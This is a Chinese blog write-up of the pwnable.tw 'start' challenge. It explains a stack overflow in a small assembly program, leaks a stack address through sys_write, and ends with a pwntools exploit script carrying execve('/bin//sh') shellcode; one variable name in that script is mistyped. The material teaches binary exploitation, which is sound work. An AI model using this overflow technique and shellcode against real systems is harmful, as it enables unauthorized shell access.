Pwnable.tm题解

simple pwn

Pwnable.tw题解

最近重建了博客,放了一下之前写的,通过科学上网体验更佳,有些图我用Twitter做的外链

start

这道题目网上有很多的题解,但是基本都没有说的很清楚,所以我决定以非常入门,非常清晰的思路去讲解一下这道Pwn的入门题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX - sys_read
add esp, 14h
retn

直接来上汇编代码吧,这其中有三个系统调用,并且没有main函数,所以应该是内联汇编写的,大概翻译一下就是:

1
2
3
4
//read 和 write 系统调用都是采用中断的方式调用的
write(1,buf,0x14);
read(0,buf,0x3c);
exit();

这个时候的栈结构大概就是(至于为什么是这样就不解释了):

write系统调用的作用就是把当前栈顶的数据给打印出来,bin里的调用打印长度为0x14,这也就刚好和我们看到的对上了,但是下面的read系统调用却可以读进0x3c个字节,显然会造成一个栈溢出,所以首先我们要做的就是leak基址

因为write可以打印栈顶0x14的数据,所以应该劫持控制流到这个函数的位置,所以我们第一步构造的payload应该为

1
2
# 'A'*20是因为有add esp,0x14,sys_write_addr可以从ida中获取
payload = 'A'*20 + sys_write_addr

这样当继续执行汇编指令到add esp,0x14是,此时esp就指向原来的exit,此时已经被sys_write_addr覆盖,然后执行ret,将栈顶弹给eip,相当于跳回了:

1
2
3
4
5
mov     ecx, esp        ; addr			<-------jmp_addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write

因为ret相当于pop esp,所以此时esp应该指向最早push的那个esp,通过gdb-peda调试我们可以发现最早push进栈的那个esp中存储的是自己下面的那个数的地址,此刻的栈状况应该为:

然后执行sys_write,就会打印出来:

1
2
//这里的esp为最早push的esp值,指向0x1
esp | 0x1 | xxx | xxx | xxx

接着又会进入到sys_read了,一定要记住一点,sys_read也是从当前栈顶开始读入,因为我在看其他人的题解的时候就发现有人犯了这样的错误,认为接下来的read还是从原来的栈顶开始读入,参考连接:

https://blog.csdn.net/qq_35661990/article/details/82913196

CSDN上还有一些其他题解,要么就是没讲到这个点上,要么就是说的是错的,所以在这里我着重强调了一下

接下来我们又有一次输入的机会,因为同样有add esp, 0x14,所以同样要构造'A' * 20,接下来应该是shellcode的地址,也就是一个指向自身地址+0x4的值,而esp刚好满足这个条件,但是还要根据offset调整一下,我画张图应该就能理解了:

我自己假设了一些地址,就是为了更方便理解,这样子我相信大家应该都不会有什么疑惑了,顺带提一点,我们的shellcode长度不能超过0x3c-0x14-0x4

然后放一下我的poc吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

conn = remote('chall.pwnable.tw', 10000)
conn.recv()
payload = 'a'*20+p32(0x08048087) #0x08048087为ida中 mov ecx, esp这一行的地址
conn.send(payload)

#data为esp的值
data = u32(cn.recv()[:4])
shellcode_addr = data+0x14

payload = 'a'*20+p32(shellcode_addr)+"\x31\xc0\x50\x68\x2f\x2f\x73"\
"\x68\x68\x2f\x62\x69\x6e\x89"\
"\xe3\x89\xc1\x89\xc2\xb0\x0b"\
"\xcd\x80\x31\xc0\x40\xcd\x80"
conn.send(payload)
conn.interactive()